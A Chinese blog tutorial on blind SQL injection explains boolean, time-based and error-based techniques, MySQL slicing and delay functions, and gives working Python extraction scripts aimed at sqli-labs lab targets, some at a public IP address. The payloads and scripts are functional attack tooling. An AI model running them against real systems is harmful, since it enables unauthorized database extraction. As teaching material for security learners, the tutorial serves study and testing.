• 35分钟了解sql注入-盲注(三)


    🏆今日学习目标:
    🍀学习sql注入之盲注操作
    ✅创作者:贤鱼
    ⏰预计时间:25分钟
    🎉个人主页:贤鱼的个人主页
    🔥专栏系列:网络安全

    请添加图片描述


    ⚠盲注内容较多,可能需要花费一些时间

    布尔盲注

    原理

    存在sql注入漏洞的地方,但是不会会先数据,只能看到是否执行成功,这样子就不能通过注入数据回显了,就需要盲注,盲注对一个数据多次测试

    举个例子

    如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;
    如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;
    如果"库名"第一个字母是c,就回显“查询成功”,反之“查询失败”;
    如果"库名"第一个字母是d,就回显“查询成功”,反之“查询失败”;
    ......
    如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;
    ......
    

    名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了
    当然,如果手动比较,电脑和我的手一定会炸掉一个
    所以我们需要写脚本,在后文会介绍到。

    布尔盲注payload构造步骤

    确定注入点,找到回显不同,例如:内容不同或者http头部不同

    我们该如何构造语句呢?
    举个栗子

    SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'
    

    SELECT name, mojority FROM student WHERE student_id = ‘0’ or substr((QUERY),1,1) = ‘a’
    这个部分就是我们需要构造的部分

    构造语句的两个重点:
    字符串如何截取
    比较结果是否相等

    所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了

    截取字符串

    substr()

    使用方法:
    substr(要截取的字符串,从哪一位开始,截取多长)

    例如

    select substr((select database()),1,1);
    

    mid

    用法和substr完全相同!!可以互相绕过过滤

    rigth()

    使用方法
    right(要截取的字符串,截取长度)
    表示截取字符串右边几位
    注意:
    配合ascii/ord一起使用,这两个函数是返回传入字符串的首字母的ASCII码
    使用方法:
    ascii((right(要截取的字符串,x)))
    返回的内容是从右往左x位的ascii码

    举个栗子

    select ascii(right((select database()), 2));
    

    left()

    使用方法:
    left(要截取的字符串,截取长度)
    表示截取字符串左边第几位
    注意:
    配合reverse()+ascii/ord使用,用法和上面类似

    举个栗子:

    elect ascii(reverse(left((select database()), 2));
    

    regexp

    使用方法:
    binary 目标字符串 regexp 正则
    判断一个字符串是否匹配一个正则表达式

    举个栗子:

    select (select database()) regexp binary '^sec'
    

    rlike

    用法和regexp雷同

    trim

    trim(leading ‘a’ from ‘abcd’)
    表示移除句首a,会返回abc,如果将from前的a改成b,则会返回abcd

    insert

    用法
    insert(字符串,起始位置,长度,替换成什么)

    字符串定位函数

    INSTR(str,substr)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
    FIND_IN_SET(str,strlist)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
    LOCATE(substr,str,pos)> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
    在pos。如若substr 不在str中,则返回值为0
    POSITION(substr IN str)> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
    substr 在 str 中不存在,返回值为 0
    

    用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在
    pos。如若substr 不在str中,则返回值为0。

    比较

    =<>

    我觉得不需要讲。。。

    rlike/regexp

    上文有讲,截取+比较结合体

    between

    用法
    expr between 下界 and 上界
    意思是是否expr>=下界 &&expr<=上界

    in

    用法
    expr0 in(expr0,expr1,expr2)

    and,or减法运算

    可以用一个 true 去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
    ASCII码:

    SELECT 1 AND ascii("a")-97;
    

    可以用一个 false 去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
    ASCII码:

    SELECT 0 OR ascii("a")-97;
    

    脚本

    import requests
    req = requests.session()
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*
    ()-=_+`[]{}\\|;:\'",./<>?'
    url = "http://47.94.236.172:18080/Less-8/"
    result = ""
    query = "database()"
    payload = "-1' or ascii(substr(({query}),{pos},1))={c}#"
    # payload = "1' and if(ascii(insert((insert({query}, 1,
    {pos},'')),2,9999999,''))={c},1,0)#"
    for i in range(1, 50):
    	for j in chars:
    		data = {'id': payload.format(query=query, pos=i, c=ord(j))}
    		resp = req.get(url, params=data) #GET:params=data POST:data=data
    		# print(resp.url)
    		# print(resp.text)
    		if "You are in" in resp.text:
    			result += j
    			print(result)
    			break
    print('end...')
    print(result)
    

    这里还提供另一种方法:二分法

    import requests
    url = 'http://47.94.236.172:18080/Less-8/'
    result = ''
    query = "select group_concat(SCHEMA_name) from information_schema.schemata"
    payload = "-1' or ascii(substr(({query}),{pos},1))>{c}#"
    req = requests.session()
    for x in range(1, 50):
    	high = 127
    	low = 32
    	mid = (low + high) // 2
    	while high > low:
    		data = {"id": payload.format(query=query, pos=x, c=mid)}
    		resp = requests.get(url, params=data) #GET:params=data POST:data=data
    		# print(resp.url)
    		if 'You are in' in resp.text: #
    			low = mid + 1
    		else:
    			high = mid
    		mid = (low + high) // 2
    	# print(mid)
    	result += chr(int(mid))
    	print(result)
    print("end.......")
    print(result)
    

    时间盲注

    原理

    有那么一种可能,查询成功失败返回的都一样,那么我们就无法通过返回结果看比较是否成功了,这时候就需要从裤裆里掏出时间盲注了!!!

    介绍下原理:

    如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显
    如果"数据库名"的第1个字母是b,你就睡眠5秒,否则就直接回显
    ......
    如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显
    如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显
    如果"数据库名"的第2个字母是c,你就睡眠5秒,否则就直接回显
    ......
    后面以此类推
    

    时间盲注payload步骤

    和上文布尔盲注差不多,只不过在构造条件语句时关注延时操作而不是返回值了

    条件语句构造

    往上翻,啥都有

    补充一下

    and

    如果and前为真,执行后面内容

    (condition) AND sleep(5)
    

    or

    如果前面为假才执行后面

    !(condition) OR sleep(5)
    

    延时操作

    这里还是要写一下

    sleep

    意思是休眠指定事件后继续

    栗子:

    SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);
    

    benchmark

    用法
    benchmark(执行次数,执行什么)

    栗子:

    SELECT benchmark(10000000,sha1('test'));
    

    笛卡尔积延时

    注意当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;

    SELECT count(*) FROM information_schema.columns A,
    information_schema.columns B, information_schema.columns C;
    

    正则dos延时

    原理:
    通过费时正则匹配操作消耗时间

    栗子:

    select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
    concat(repeat('(a.*)+',30),'b');
    

    脚本

    期不期待
    同样给到两个方法:

    import requests
    url = 'http://localhost/sqli-labs/Less-8/'
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*
    ()-=_+`[]{}\\|;:\'",./<>?'
    query = "database()"
    payload = "1' and if(ascii(substr(({query})),{pos},1))={c},sleep(10),0)#"
    result = ''
    req = requests.session()
    for i in range(1, 50):
    	for j in chars:
    		data = {'id': payload.format(query=query, pos=i, c=ord(j))}
    		try:
    			resp = requests.get(url, params=data, timeout=5) #GET:params=dataPOST:data=data
    			print(resp.url)
    		except requests.Timeout:
    			result += j
    			print(result)
    			break
    print('end...')
    print(result)
    

    二分法

    import requests
    url = 'http://47.94.236.172:18080/Less-9/'
    result = ''
    query = "database()"
    payload = "1' and if(ascii(substr(({query}),{pos},1))>{c},sleep(10),0)#"
    req = requests.session()
    for x in range(1, 50):
    	high = 127
    	low = 32
    	mid = (low + high) // 2
    	while high > low:
    		data = {"id": payload.format(query=query, pos=x, c=mid)}
    		try:
    			resp = requests.get(url, params=data, timeout=5) #GET:params=data POST:data=data
    			print(resp.url)
    		except requests.Timeout:
    			low = mid + 1
    			mid = (low + high) // 2
    			# print(data)
    			continue
    		high = mid
    		mid = (low + high) // 2
    		# print(mid)
    	result += chr(int(mid))
    	print(result)
    print("end.......")
    print(result)
    

    报错盲注

    用法和延时盲注基本一致,但是可以用来绕过过滤延时盲注的关键字

    原理

    原理就是比较条件为真时,通过调用产生错误的函数

    if(condition,报错,不报错)
    

    🏆结束语
    如果有需要可以订阅专栏,持续更新!
    让我们下期再见!!
    请添加图片描述

  • 相关阅读:
    Linux网络之传输层协议tcp/udp
    Java Finalization‘s Memory-Retention Issues 及Reference类解析
    HTTP——HTTP的请求报文和响应报文的内容
    汇编语言Nasmide编辑软件
    docker-compose快速搭建kafka集群
    全域数据连接器解决运营痛点问题,助力海尔节省200万+
    前端自动识别CAD图纸提取信息方法总结
    AB试验(二)统计基础
    隐私计算 FATE - 多分类神经网络算法测试
    苹果证书在线制作
  • 原文地址:https://blog.csdn.net/m0_66623111/article/details/127099368